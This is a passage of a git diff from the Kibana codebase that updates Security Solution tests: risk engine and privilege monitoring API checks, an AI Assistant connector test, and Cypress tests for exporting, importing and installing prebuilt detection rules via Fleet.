from '@kbn/expect'; -import { PRIVILEGED_MONITOR_IMPORT_USERS_INDEX_MAPPING } from '@kbn/security-solution-plugin/server/lib/entity_analytics/privilege_monitoring/indices'; + +import { PRIVILEGED_MONITOR_IMPORT_USERS_INDEX_MAPPING } from '@kbn/security-solution-plugin/server/lib/entity_analytics/privilege_monitoring/elasticsearch/indices'; import { FtrProviderContext } from '../../../../ftr_provider_context'; export default ({ getService }: FtrProviderContext) => { diff --git a/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/risk_engine/trial_license_complete_tier/init_and_status_apis.ts b/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/risk_engine/trial_license_complete_tier/init_and_status_apis.ts index 8f491f866f83c..6b6e523069d5d 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/risk_engine/trial_license_complete_tier/init_and_status_apis.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/risk_engine/trial_license_complete_tier/init_and_status_apis.ts @@ -638,6 +638,7 @@ export default ({ getService }: FtrProviderContext) => { expect(response?.saved_objects?.[0]?.attributes).to.eql({ dataViewId: '.alerts-security.alerts-default', enabled: true, + excludeAlertStatuses: ['closed'], filter: {}, interval: '1h', pageSize: 3500, diff --git a/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/risk_engine/trial_license_complete_tier/risk_engine_so_config.ts b/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/risk_engine/trial_license_complete_tier/risk_engine_so_config.ts index 8b780d0540dca..deb71e7b585cd 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/risk_engine/trial_license_complete_tier/risk_engine_so_config.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/risk_engine/trial_license_complete_tier/risk_engine_so_config.ts @@ -79,7 +79,7 @@ export default ({ getService }: FtrProviderContext) => { const currentSoConfig = await getRiskEngineConfigSO({ kibanaServer }); expect(currentSoConfig.attributes).to.not.have.property('excludeAlertTags'); - expect(currentSoConfig.attributes).to.not.have.property('excludeAlertStatuses'); + expect(currentSoConfig.attributes).to.have.property('excludeAlertStatuses'); const updatedSoBody = { exclude_alert_tags: ['False Positive'], diff --git a/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/utils/privilege_monitoring.ts b/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/utils/privilege_monitoring.ts new file mode 100644 index 0000000000000..c877ba40bee1d --- /dev/null +++ b/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/utils/privilege_monitoring.ts @@ -0,0 +1,22 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ +import { X_ELASTIC_INTERNAL_ORIGIN_REQUEST } from '@kbn/core-http-common'; +import { SupertestWithoutAuthProviderType } from '@kbn/ftr-common-functional-services'; +import { API_VERSIONS } from '@kbn/security-solution-plugin/common/constants'; + +export const privilegeMonitoringRouteHelpersFactoryNoAuth = ( + supertestWithoutAuth: SupertestWithoutAuthProviderType +) => ({ + privilegesForUser: async ({ username, password }: { username: string; password: string }) => + await supertestWithoutAuth + .get('/api/entity_analytics/monitoring/privileges/privileges') + .auth(username, password) + .set('elastic-api-version', API_VERSIONS.public.v1) + .set(X_ELASTIC_INTERNAL_ORIGIN_REQUEST, 'kibana') + .send() + .expect(200), +}); diff --git a/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/utils/users_and_roles.ts b/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/utils/users_and_roles.ts index 1214931632c34..7939fecbd76e4 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/utils/users_and_roles.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/entity_analytics/utils/users_and_roles.ts @@ -27,4 +27,10 @@ export const usersAndRolesFactory = (security: SecurityService) => ({ email: `${username}@elastic.co`, }); }, + deleteUser: async (username: string) => { + return await security.user.delete(username); + }, + deleteRole: async (name: string) => { + return await security.role.delete(name); + }, }); diff --git a/x-pack/test/security_solution_api_integration/tsconfig.json b/x-pack/test/security_solution_api_integration/tsconfig.json index 45dcb862ba052..f95a7b491cff3 100644 --- a/x-pack/test/security_solution_api_integration/tsconfig.json +++ b/x-pack/test/security_solution_api_integration/tsconfig.json @@ -58,5 +58,6 @@ "@kbn/babel-register", "@kbn/config-schema", "@kbn/test-suites-xpack-platform", + "@kbn/response-ops-rule-params", ] } diff --git a/x-pack/test/security_solution_cypress/cypress/e2e/ai_assistant/conversations.cy.ts b/x-pack/test/security_solution_cypress/cypress/e2e/ai_assistant/conversations.cy.ts index 19a80571a089a..8721ee3b6cc7b 100644 --- a/x-pack/test/security_solution_cypress/cypress/e2e/ai_assistant/conversations.cy.ts +++ b/x-pack/test/security_solution_cypress/cypress/e2e/ai_assistant/conversations.cy.ts @@ -15,6 +15,7 @@ import { assertNewConversation, closeAssistant, createAndTitleConversation, + createOpenAIConnector, openAssistant, selectConnector, selectConversation, @@ -63,13 +64,19 @@ describe('AI Assistant Conversations', { tags: ['@ess', '@serverless'] }, () => waitForConversation(mockConvo1); waitForConversation(mockConvo2); }); - // On serverless we provide deafult .inference `Elastic LLM` connector + // On serverless we provide default .inference `Elastic LLM` connector describe('No connectors or conversations exist', { tags: ['@skipInServerless'] }, () => { it('Shows welcome setup when no connectors or conversations exist', () => { visitGetStartedPage(); openAssistant(); assertNewConversation(true, 'New chat'); }); + it('Creating a new connector from welcome setup automatically sets the connector for the conversation', () => { + visitGetStartedPage(); + openAssistant(); + createOpenAIConnector('My OpenAI Connector'); + assertConnectorSelected('My OpenAI Connector'); + }); }); describe('When no conversations exist but connectors do exist, show empty convo', () => { beforeEach(() => { diff --git a/x-pack/test/security_solution_cypress/cypress/e2e/detection_response/rule_management/prebuilt_rules/export_prebuilt_rule.cy.ts b/x-pack/test/security_solution_cypress/cypress/e2e/detection_response/rule_management/prebuilt_rules/export_prebuilt_rule.cy.ts index d07bf9ef4386e..500db42063e22 100644 --- a/x-pack/test/security_solution_cypress/cypress/e2e/detection_response/rule_management/prebuilt_rules/export_prebuilt_rule.cy.ts +++ b/x-pack/test/security_solution_cypress/cypress/e2e/detection_response/rule_management/prebuilt_rules/export_prebuilt_rule.cy.ts @@ -6,31 +6,29 @@ */ import { bulkExportRules } from '../../../../tasks/rules_bulk_actions'; -import { exportRuleFromDetailsPage } from '../../../../tasks/rule_details'; +import { exportRuleFromDetailsPage, visitRuleDetailsPage } from '../../../../tasks/rule_details'; +import { getCustomQueryRuleParams, getIndexPatterns } from '../../../../objects/rule'; import { - expectedExportedRule, - expectedExportedRules, - getIndexPatterns, - getNewRule, -} from '../../../../objects/rule'; -import { - exportRule, - filterByCustomRules, - filterByElasticRules, + expectManagementTableRules, + importRules, selectAllRules, selectRulesByName, } from '../../../../tasks/alerts_detection_rules'; -import { RULE_NAME, SUCCESS_TOASTER_BODY } from '../../../../screens/alerts_detection_rules'; +import { TOASTER, SUCCESS_TOASTER_BODY } from '../../../../screens/alerts_detection_rules'; import { createRuleAssetSavedObject } from '../../../../helpers/rules'; -import { deleteAlertsAndRules } from '../../../../tasks/api_calls/common'; -import { createAndInstallMockedPrebuiltRules } from '../../../../tasks/api_calls/prebuilt_rules'; -import { createRule, findRuleByRuleId, patchRule } from '../../../../tasks/api_calls/rules'; - +import { + deleteAlertsAndRules, + deletePrebuiltRulesAssets, +} from '../../../../tasks/api_calls/common'; +import { + createAndInstallMockedPrebuiltRules, + installMockPrebuiltRulesPackage, +} from '../../../../tasks/api_calls/prebuilt_rules'; +import { createRule, patchRule } from '../../../../tasks/api_calls/rules'; import { login } from '../../../../tasks/login'; - import { visitRulesManagementTable } from '../../../../tasks/rules_management'; -const PREBUILT_RULE_ID = 'rule_1'; +const PREBUILT_RULE_ID = 'test-prebuilt-rule-a'; describe( 'Detection rules, Prebuilt Rules Export workflow - With Rule Customization', @@ -38,7 +36,19 @@ describe( tags: ['@ess', '@serverless', '@skipInServerlessMKI'], }, () => { - describe('Rule export workflow with single rules', () => { + before(() => { + installMockPrebuiltRulesPackage(); + }); + + beforeEach(() => { + deletePrebuiltRulesAssets(); + deleteAlertsAndRules(); + + login(); + cy.intercept('POST', '/api/detection_engine/rules/_bulk_action').as('bulk_action'); + }); + + describe('single rule', () => { const PREBUILT_RULE = createRuleAssetSavedObject({ name: 'Non-customized prebuilt rule', rule_id: PREBUILT_RULE_ID, @@ -46,174 +56,187 @@ describe( index: getIndexPatterns(), }); - beforeEach(() => { - login(); - deleteAlertsAndRules(); - cy.intercept('POST', '/api/detection_engine/rules/_bulk_action').as('bulk_action'); - /* Create a new rule and install it */ - createAndInstallMockedPrebuiltRules([PREBUILT_RULE]); - createRule( - getNewRule({ name: 'Custom rule to export', rule_id: 'custom_rule_id', enabled: false }) - ).as('customRuleResponse'); - visitRulesManagementTable(); - }); - - it('can export non-customized prebuilt rules from the rule management table individually', function () { - findRuleByRuleId(PREBUILT_RULE_ID).as('prebuiltRuleResponse'); - exportRule('Non-customized prebuilt rule'); - cy.wait('@bulk_action').then(({ response }) => { - cy.wrap(response?.body).should('eql', expectedExportedRule(this.prebuiltRuleResponse)); - cy.get(SUCCESS_TOASTER_BODY).should('have.text', 'Successfully exported 1 of 1 rule.'); + describe('rule details page', () => { + beforeEach(() => { + createAndInstallMockedPrebuiltRules([PREBUILT_RULE]).then( + (installPrebuiltRulesResponse) => + visitRuleDetailsPage(installPrebuiltRulesResponse.body.results.created[0].id) + ); }); - }); - it('can export customized prebuilt rules from the rule management table individually', function () { - patchRule(PREBUILT_RULE_ID, { name: 'Customized prebuilt rule' }).as( - 'prebuiltRuleResponse' - ); // We want to make this a customized prebuilt rule - exportRule('Customized prebuilt rule'); - cy.wait('@bulk_action').then(({ response }) => { - cy.wrap(response?.body).should('eql', expectedExportedRule(this.prebuiltRuleResponse)); - cy.get(SUCCESS_TOASTER_BODY).should('have.text', 'Successfully exported 1 of 1 rule.'); - }); - }); + it('exports a non-customized prebuilt rule', () => { + exportRuleFromDetailsPage(); - it('can export custom rules from the rule management table individually', function () { - exportRule('Custom rule to export'); - cy.wait('@bulk_action').then(({ response }) => { - cy.wrap(response?.body).should('eql', expectedExportedRule(this.customRuleResponse)); - cy.get(SUCCESS_TOASTER_BODY).should('have.text', 'Successfully exported 1 of 1 rule.'); + cy.wait('@bulk_action').then(({ response }) => { + expect(response?.statusCode).to.equal(200); + cy.get(SUCCESS_TOASTER_BODY).should('have.text', 'Successfully exported 1 of 1 rule.'); + }); }); - }); - it('can export a non-customized prebuilt rule from the rule details page', function () { - findRuleByRuleId(PREBUILT_RULE_ID).as('prebuiltRuleResponse'); - cy.get(RULE_NAME).contains('Non-customized prebuilt rule').click(); - exportRuleFromDetailsPage(); - cy.wait('@bulk_action').then(({ response }) => { - cy.wrap(response?.body).should('eql', expectedExportedRule(this.prebuiltRuleResponse)); - cy.get(SUCCESS_TOASTER_BODY).should('have.text', 'Successfully exported 1 of 1 rule.'); - }); - }); + it('exports a customized prebuilt rule', function () { + patchRule(PREBUILT_RULE_ID, { name: 'Customized prebuilt rule' }); - it('can export a customized prebuilt rule from the rule details page', function () { - patchRule(PREBUILT_RULE_ID, { name: 'Customized prebuilt rule' }).as( - 'prebuiltRuleResponse' - ); // We want to make this a customized prebuilt rule - cy.get(RULE_NAME).contains('Customized prebuilt rule').click(); - exportRuleFromDetailsPage(); - cy.wait('@bulk_action').then(({ response }) => { - cy.wrap(response?.body).should('eql', expectedExportedRule(this.prebuiltRuleResponse)); - cy.get(SUCCESS_TOASTER_BODY).should('have.text', 'Successfully exported 1 of 1 rule.'); - }); - }); + exportRuleFromDetailsPage(); - it('can export a custom rule from the rule details page', function () { - cy.get(RULE_NAME).contains('Custom rule to export').click(); - exportRuleFromDetailsPage(); - cy.wait('@bulk_action').then(({ response }) => { - cy.wrap(response?.body).should('eql', expectedExportedRule(this.customRuleResponse)); - cy.get(SUCCESS_TOASTER_BODY).should('have.text', 'Successfully exported 1 of 1 rule.'); + cy.wait('@bulk_action').then(({ response }) => { + expect(response?.statusCode).to.equal(200); + cy.get(SUCCESS_TOASTER_BODY).should('have.text', 'Successfully exported 1 of 1 rule.'); + }); }); }); }); - describe('Rule export workflow with multiple rules', () => { - const PREBUILT_RULE_1 = createRuleAssetSavedObject({ - name: 'Non-customized prebuilt rule', - rule_id: PREBUILT_RULE_ID, + describe('multiple rules', () => { + const PREBUILT_RULE_ID_A = 'prebuilt-rule-a'; + const PREBUILT_RULE_ID_B = 'prebuilt-rule-b'; + const PREBUILT_RULE_ID_C = 'prebuilt-rule-c'; + const PREBUILT_RULE_ID_D = 'prebuilt-rule-d'; + + const PREBUILT_RULE_A = createRuleAssetSavedObject({ + name: 'Non-customized prebuilt rule A', + rule_id: PREBUILT_RULE_ID_A, version: 1, index: getIndexPatterns(), }); - - const PREBUILT_RULE_2 = createRuleAssetSavedObject({ - name: 'Non-customized prebuilt rule', - rule_id: 'rule_2', - version: 1, + const PREBUILT_RULE_B = createRuleAssetSavedObject({ + name: 'Non-customized prebuilt rule B', + rule_id: PREBUILT_RULE_ID_B, + version: 3, index: getIndexPatterns(), }); + const PREBUILT_RULE_C = createRuleAssetSavedObject({ + name: 'Non-customized prebuilt rule C', + rule_id: PREBUILT_RULE_ID_C, + version: 5, + index: getIndexPatterns(), + }); + const PREBUILT_RULE_D = createRuleAssetSavedObject({ + name: 'Non-customized prebuilt rule D', + rule_id: PREBUILT_RULE_ID_D, + version: 7, + index: getIndexPatterns(), + }); + + it('exports multiple non-customized prebuilt rules in bulk', () => { + createAndInstallMockedPrebuiltRules([ + PREBUILT_RULE_A, + PREBUILT_RULE_B, + PREBUILT_RULE_C, + PREBUILT_RULE_D, + ]); + + // Customize prebuilt rules + patchRule(PREBUILT_RULE_ID_B, { name: 'Customized prebuilt rule B' }); + patchRule(PREBUILT_RULE_ID_D, { name: 'Customized prebuilt rule D' }); - beforeEach(() => { - login(); - deleteAlertsAndRules(); - cy.intercept('POST', '/api/detection_engine/rules/_bulk_action').as('bulk_action'); - /* Create a new rule and install it */ - createAndInstallMockedPrebuiltRules([PREBUILT_RULE_1, PREBUILT_RULE_2]); - - findRuleByRuleId(PREBUILT_RULE_ID).as('nonCustomizedPrebuiltRuleResponse'); - // We want to make this a customized prebuilt rule - patchRule('rule_2', { name: 'Customized prebuilt rule' }).as( - 'customizedPrebuiltRuleResponse' - ); - createRule(getNewRule({ name: 'Custom rule to export', enabled: false })).as( - 'customRuleResponse' - ); visitRulesManagementTable(); - }); - it('can export a non-customized prebuilt rule from the rule management table using the bulk actions menu', function () { - selectRulesByName(['Non-customized prebuilt rule']); + selectRulesByName(['Non-customized prebuilt rule A', 'Non-customized prebuilt rule C']); bulkExportRules(); + cy.wait('@bulk_action').then(({ response }) => { - cy.wrap(response?.body).should( - 'eql', - expectedExportedRule(this.nonCustomizedPrebuiltRuleResponse) - ); - cy.get(SUCCESS_TOASTER_BODY).should('have.text', 'Successfully exported 1 of 1 rule.'); + expect(response?.statusCode).to.equal(200); + cy.get(SUCCESS_TOASTER_BODY).should('have.text', 'Successfully exported 2 of 2 rules.'); }); }); - it('can export a customized prebuilt rule from the rule management table using the bulk actions menu', function () { - selectRulesByName(['Customized prebuilt rule']); + it('exports multiple customized prebuilt rules in bulk', () => { + createAndInstallMockedPrebuiltRules([ + PREBUILT_RULE_A, + PREBUILT_RULE_B, + PREBUILT_RULE_C, + PREBUILT_RULE_D, + ]); + + // Customize prebuilt rules + patchRule(PREBUILT_RULE_ID_B, { name: 'Customized prebuilt rule B' }); + patchRule(PREBUILT_RULE_ID_D, { name: 'Customized prebuilt rule D' }); + + visitRulesManagementTable(); + + selectRulesByName(['Customized prebuilt rule B', 'Customized prebuilt rule D']); bulkExportRules(); + cy.wait('@bulk_action').then(({ response }) => { - cy.wrap(response?.body).should( - 'eql', - expectedExportedRule(this.customizedPrebuiltRuleResponse) - ); - cy.get(SUCCESS_TOASTER_BODY).should('have.text', 'Successfully exported 1 of 1 rule.'); + expect(response?.statusCode).to.equal(200); + cy.get(SUCCESS_TOASTER_BODY).should('have.text', 'Successfully exported 2 of 2 rules.'); }); }); - it('can export a custom rule from the rule management table using the bulk actions menu', function () { - filterByCustomRules(); - selectAllRules(); - bulkExportRules(); - cy.wait('@bulk_action').then(({ response }) => { - cy.wrap(response?.body).should('eql', expectedExportedRule(this.customRuleResponse)); - cy.get(SUCCESS_TOASTER_BODY).should('have.text', 'Successfully exported 1 of 1 rule.'); + it('exports a mix of non-customized prebuilt, customized prebuilt and custom rules in bulk', () => { + createAndInstallMockedPrebuiltRules([ + PREBUILT_RULE_A, + PREBUILT_RULE_B, + PREBUILT_RULE_C, + PREBUILT_RULE_D, + ]); + + // Customize prebuilt rules + patchRule(PREBUILT_RULE_ID_B, { name: 'Customized prebuilt rule B' }); + patchRule(PREBUILT_RULE_ID_D, { name: 'Customized prebuilt rule D' }); + + const CUSTOM_RULE = getCustomQueryRuleParams({ + name: 'Custom rule to export', + rule_id: 'custom_rule_id', + enabled: false, }); - }); - it('can export all rule types from the rule management table using the bulk actions menu', function () { + createRule(CUSTOM_RULE).then(() => visitRulesManagementTable()); + selectAllRules(); bulkExportRules(); + cy.wait('@bulk_action').then(({ response }) => { - cy.wrap(response?.body).should( - 'eql', - expectedExportedRules([ - this.nonCustomizedPrebuiltRuleResponse, - this.customizedPrebuiltRuleResponse, - this.customRuleResponse, - ]) - ); - cy.get(SUCCESS_TOASTER_BODY).should('have.text', 'Successfully exported 3 of 3 rules.'); + expect(response?.statusCode).to.equal(200); + cy.get(SUCCESS_TOASTER_BODY).should('have.text', 'Successfully exported 5 of 5 rules.'); }); }); - it('can export customized and non-customized prebuilt rules from the rule management table using the bulk actions menu', function () { - filterByElasticRules(); + it('imports a previously exported mix of custom and prebuilt rules in bulk', () => { + createAndInstallMockedPrebuiltRules([ + PREBUILT_RULE_A, + PREBUILT_RULE_B, + PREBUILT_RULE_C, + PREBUILT_RULE_D, + ]); + + // Customize prebuilt rules + patchRule(PREBUILT_RULE_ID_B, { name: 'Customized prebuilt rule B' }); + patchRule(PREBUILT_RULE_ID_D, { name: 'Customized prebuilt rule D' }); + + const CUSTOM_RULE = getCustomQueryRuleParams({ + name: 'Custom rule to export', + rule_id: 'custom_rule_id', + enabled: false, + }); + + createRule(CUSTOM_RULE).then(() => visitRulesManagementTable()); + selectAllRules(); bulkExportRules(); + cy.wait('@bulk_action').then(({ response }) => { - cy.wrap(response?.body).should( - 'eql', - expectedExportedRules([ - this.nonCustomizedPrebuiltRuleResponse, - this.customizedPrebuiltRuleResponse, - ]) - ); - cy.get(SUCCESS_TOASTER_BODY).should('have.text', 'Successfully exported 2 of 2 rules.'); + cy.get(SUCCESS_TOASTER_BODY).should('have.text', 'Successfully exported 5 of 5 rules.'); + + deleteAlertsAndRules(); + cy.reload(); + cy.contains('Install and enable Elastic prebuilt detection rules').should('be.visible'); + + importRules({ + contents: Cypress.Buffer.from(response?.body), + fileName: 'mix_of_prebuilt_and_custom_rules.ndjson', + mimeType: 'application/x-ndjson', + }); + + expectManagementTableRules([ + 'Non-customized prebuilt rule A', + 'Customized prebuilt rule B', + 'Non-customized prebuilt rule C', + 'Customized prebuilt rule D', + 'Custom rule to export', + ]); + + cy.get(TOASTER).should('have.text', 'Successfully imported 5 rules'); }); }); }); diff --git a/x-pack/test/security_solution_cypress/cypress/e2e/detection_response/rule_management/prebuilt_rules/install_update_error_handling.cy.ts b/x-pack/test/security_solution_cypress/cypress/e2e/detection_response/rule_management/prebuilt_rules/install_update_error_handling.cy.ts index a8902a3513392..63012448f1aa7 100644 --- a/x-pack/test/security_solution_cypress/cypress/e2e/detection_response/rule_management/prebuilt_rules/install_update_error_handling.cy.ts +++ b/x-pack/test/security_solution_cypress/cypress/e2e/detection_response/rule_management/prebuilt_rules/install_update_error_handling.cy.ts @@ -37,6 +37,10 @@ import { assertRulesPresentInAddPrebuiltRulesTable, assertRuleUpgradeFailureToastShown, assertRulesPresentInRuleUpdatesTable, + interceptInstallationRequestToFailPartially, + assertRuleInstallationSuccessToastShown, + assertRuleUpgradeSuccessToastShown, + interceptUpgradeRequestToFailPartially, } from '../../../../tasks/prebuilt_rules'; import { visitRulesManagementTable } from '../../../../tasks/rules_management'; @@ -113,6 +117,19 @@ describe( assertRuleInstallationFailureToastShown([RULE_1, RULE_2]); assertRulesPresentInAddPrebuiltRulesTable([RULE_1, RULE_2]); }); + + it('installing all available rules at once with some rules succeeding', () => { + clickAddElasticRulesButton(); + interceptInstallationRequestToFailPartially({ + rulesToSucceed: [RULE_1], + rulesToFail: [RULE_2], + }); + cy.get(INSTALL_ALL_RULES_BUTTON).click(); + assertInstallationRequestIsComplete([RULE_1, RULE_2]); + assertRuleInstallationSuccessToastShown([RULE_1]); + assertRuleInstallationFailureToastShown([RULE_2]); + assertRulesPresentInAddPrebuiltRulesTable([RULE_1, RULE_2]); + }); }); describe('Update of prebuilt rules - Should fail gracefully with toast error message when', () => { @@ -203,6 +220,21 @@ describe( assertRuleUpgradeFailureToastShown([OUTDATED_RULE_1, OUTDATED_RULE_2]); assertRulesPresentInRuleUpdatesTable([OUTDATED_RULE_1, OUTDATED_RULE_2]); }); + + it('upgrading all rules with available upgrades at once with some rules succeeding', () => { + interceptUpgradeRequestToFailPartially({ + rulesToSucceed: [OUTDATED_RULE_1], + rulesToFail: [OUTDATED_RULE_2], + }); + + // Navigate to Rule Upgrade table + clickRuleUpdatesTab(); + + cy.get(UPGRADE_ALL_RULES_BUTTON).click(); + assertRuleUpgradeSuccessToastShown([OUTDATED_RULE_1]); + assertRuleUpgradeFailureToastShown([OUTDATED_RULE_2]); + assertRulesPresentInRuleUpdatesTable([OUTDATED_RULE_1, OUTDATED_RULE_2]); + }); }); } ); diff --git a/x-pack/test/security_solution_cypress/cypress/e2e/detection_response/rule_management/prebuilt_rules/install_via_fleet.cy.ts b/x-pack/test/security_solution_cypress/cypress/e2e/detection_response/rule_management/prebuilt_rules/install_via_fleet.cy.ts index 29ded745c05b7..347cfdccdc628 100644 --- a/x-pack/test/security_solution_cypress/cypress/e2e/detection_response/rule_management/prebuilt_rules/install_via_fleet.cy.ts +++ b/x-pack/test/security_solution_cypress/cypress/e2e/detection_response/rule_management/prebuilt_rules/install_via_fleet.cy.ts @@ -5,124 +5,71 @@ * 2.0. */ -import type { BulkInstallPackageInfo } from '@kbn/fleet-plugin/common'; -import type { Rule } from '@kbn/security-solution-plugin/public/detection_engine/rule_management/logic/types'; - +import { BOOTSTRAP_PREBUILT_RULES_URL } from '@kbn/security-solution-plugin/common/api/detection_engine'; +import { installSinglePrebuiltRule } from '../../../../tasks/prebuilt_rules/install_prebuilt_rules'; import { resetRulesTableState } from '../../../../tasks/common'; -import { INSTALL_ALL_RULES_BUTTON, TOASTER } from '../../../../screens/alerts_detection_rules'; -import { getRuleAssets } from '../../../../tasks/api_calls/prebuilt_rules'; +import { RULE_NAME } from '../../../../screens/alerts_detection_rules'; +import { deletePrebuiltRulesFleetPackage } from '../../../../tasks/api_calls/prebuilt_rules'; import { login } from '../../../../tasks/login'; -import { clickAddElasticRulesButton } from '../../../../tasks/prebuilt_rules'; -import { visitRulesManagementTable } from '../../../../tasks/rules_management'; +import { visitAddRulesPage, visitRulesManagementTable } from '../../../../tasks/rules_management'; import { deleteAlertsAndRules } from '../../../../tasks/api_calls/common'; +import { expectManagementTableRules } from '../../../../tasks/alerts_detection_rules'; + +const PREBUILT_RULES_PACKAGE_INSTALLATION_TIMEOUT_MS = 120000; // 2 minutes -// Failing: See https://github.com/elastic/kibana/issues/182439 -// Failing: See https://github.com/elastic/kibana/issues/182440 -describe.skip( +describe( 'Detection rules, Prebuilt Rules Installation and Update workflow', { tags: ['@ess', '@serverless'] }, () => { describe('Installation of prebuilt rules package via Fleet', () => { beforeEach(() => { - login(); + deletePrebuiltRulesFleetPackage(); resetRulesTableState(); deleteAlertsAndRules(); - cy.intercept('POST', '/api/fleet/epm/packages/_bulk*').as('installPackageBulk'); - cy.intercept('POST', '/api/fleet/epm/packages/security_detection_engine/*').as( - 'installPackage' - ); - cy.intercept('POST', '/internal/detection_engine/prebuilt_rules/installation/_perform').as( - 'installPrebuiltRules' - ); - visitRulesManagementTable(); + + cy.intercept('POST', BOOTSTRAP_PREBUILT_RULES_URL).as('bootstrapPrebuiltRules'); + + login(); }); - it('should install package from Fleet in the background', () => { - /* Assert that the package in installed from Fleet */ - cy.wait('@installPackageBulk', { - timeout: 60000, - }).then(({ response: bulkResponse }) => { - cy.wrap(bulkResponse?.statusCode).should('eql', 200); + it('should install prebuilt rules from the Fleet package', () => { + visitAddRulesPage(); + + // Expect the package to be installed + cy.wait('@bootstrapPrebuiltRules', { + timeout: PREBUILT_RULES_PACKAGE_INSTALLATION_TIMEOUT_MS, + }).then(({ response }) => { + cy.wrap(response?.statusCode).should('eql', 200); - const packages = bulkResponse?.body.items.map( - ({ name, result }: BulkInstallPackageInfo) => ({ - name, - }) + const securityDetectionEnginePackage = response?.body.packages.find( + (pkg: { name: string }) => pkg.name === 'security_detection_engine' ); - const packagesBulkInstalled = packages.map(({ name }: { name: string }) => name); + // eslint-disable-next-line @typescript-eslint/no-unused-expressions + expect( + securityDetectionEnginePackage, + 'Bootstrap endpoint must return "security_detection_engine" package info.' + ).to.exist; + expect( + securityDetectionEnginePackage, + '"security_detection_engine" package must be just installed' + ).includes({ + name: 'security_detection_engine', + status: 'installed', + }); - // Under normal flow the package is installed via the Fleet bulk install API. - // However, for testing purposes the package can be installed via the Fleet individual install API, - // so we need to intercept and wait for that request as well. - if (!packagesBulkInstalled.includes('security_detection_engine')) { - // Should happen only during testing when the `xpack.securitySolution.prebuiltRulesPackageVersion` flag is set - cy.wait('@installPackage').then(({ response }) => { - cy.wrap(response?.statusCode).should('eql', 200); - cy.wrap(response?.body) - .should('have.property', 'items') - .should('have.length.greaterThan', 0); - }); - } else { - // Normal flow, install via the Fleet bulk install API - expect(packages.length).to.have.greaterThan(0); - // At least one of the packages installed should be the security_detection_engine package - expect(packages).to.satisfy((pckgs: BulkInstallPackageInfo[]) => - pckgs.some((pkg) => pkg.name === 'security_detection_engine') - ); - } - }); - }); + // Install some prebuilt rules + cy.get>(RULE_NAME).then(($ruleNames) => { + const ruleNames = $ruleNames.get().map((x) => x.innerText); - it('should install rules from the Fleet package when user clicks on CTA', () => { - interface Response { - body: { - hits: { - hits: Array<{ _source: { ['security-rule']: Rule } }>; - }; - }; - } - const getRulesAndAssertNumberInstalled = () => { - getRuleAssets().then((response) => { - const ruleIds = (response as Response).body.hits.hits.map( - (hit) => hit._source['security-rule'].rule_id - ); + installSinglePrebuiltRule(ruleNames[0]); + installSinglePrebuiltRule(ruleNames[1]); + installSinglePrebuiltRule(ruleNames[2]); - const numberOfRulesToInstall = new Set(ruleIds).size; - clickAddElasticRulesButton(); + visitRulesManagementTable(); - cy.get(INSTALL_ALL_RULES_BUTTON).should('be.enabled').click(); - cy.wait('@installPrebuiltRules', { - timeout: 60000, - }).then(() => { - cy.get(TOASTER) - .should('be.visible') - .should( - 'have.text', - // i18n uses en-US format for numbers, which uses a comma as a thousands separator - `${numberOfRulesToInstall.toLocaleString('en-US')} rules installed successfully.` - ); - }); + expectManagementTableRules([ruleNames[0], ruleNames[1], ruleNames[2]]); }); - }; - /* Retrieve how many rules were installed from the Fleet package */ - /* See comments in test above for more details */ - cy.wait('@installPackageBulk', { - timeout: 60000, - }).then(({ response: bulkResponse }) => { - cy.wrap(bulkResponse?.statusCode).should('eql', 200); - - const packagesBulkInstalled = bulkResponse?.body.items.map( - ({ name }: { name: string }) => name - ); - - if (!packagesBulkInstalled.includes('security_detection_engine')) { - cy.wait('@installPackage').then(() => { - getRulesAndAssertNumberInstalled(); - }); - } else { - getRulesAndAssertNumberInstalled(); - } }); }); }); diff --git a/x-pack/test/security_solution_cypress/cypress/e2e/detection_response/rule_management/rule_actions/import_export/export_rule.cy.ts b/x-pack/test/security_solution_cypress/cypress/e2e/detection_response/rule_management/rule_actions/import_export/export_rule.cy.ts index d1d77bd3c7f86..f6267f42bcf96 100644 --- a/x-pack/test/security_solution_cypress/cypress/e2e/detection_response/rule_management/rule_actions/import_export/export_rule.cy.ts +++ b/x-pack/test/security_solution_cypress/cypress/e2e/detection_response/rule_management/rule_actions/import_export/export_rule.cy.ts @@ -11,8 +11,12 @@ import { deleteAlertsAndRules, deletePrebuiltRulesAssets, } from '../../../../../tasks/api_calls/common'; -import { expectedExportedRule, getNewRule } from '../../../../../objects/rule'; -import { TOASTER_BODY, TOASTER } from '../../../../../screens/alerts_detection_rules'; +import { getCustomQueryRuleParams } from '../../../../../objects/rule'; +import { + TOASTER_BODY, + TOASTER, + SUCCESS_TOASTER_BODY, +} from '../../../../../screens/alerts_detection_rules'; import { selectAllRules, waitForRuleExecution, @@ -27,6 +31,7 @@ import { } from '../../../../../tasks/api_calls/exceptions'; import { getExceptionList } from '../../../../../objects/exception'; import { createRule } from '../../../../../tasks/api_calls/rules'; +import { exportRuleFromDetailsPage, visitRuleDetailsPage } from '../../../../../tasks/rule_details'; import { resetRulesTableState } from '../../../../../tasks/common'; import { login } from '../../../../../tasks/login'; import { visit } from '../../../../../tasks/navigation'; @@ -50,6 +55,7 @@ const prebuiltRules = Array.from(Array(7)).map((_, i) => { describe('Export rules', { tags: ['@ess', '@serverless', '@skipInServerlessMKI'] }, () => { const downloadsFolder = Cypress.config('downloadsFolder'); + const RULE_NAME = 'Rule to export'; beforeEach(() => { preventPrebuiltRulesPackageInstallation(); @@ -64,20 +70,31 @@ describe('Export rules', { tags: ['@ess', '@serverless', '@skipInServerlessMKI'] // 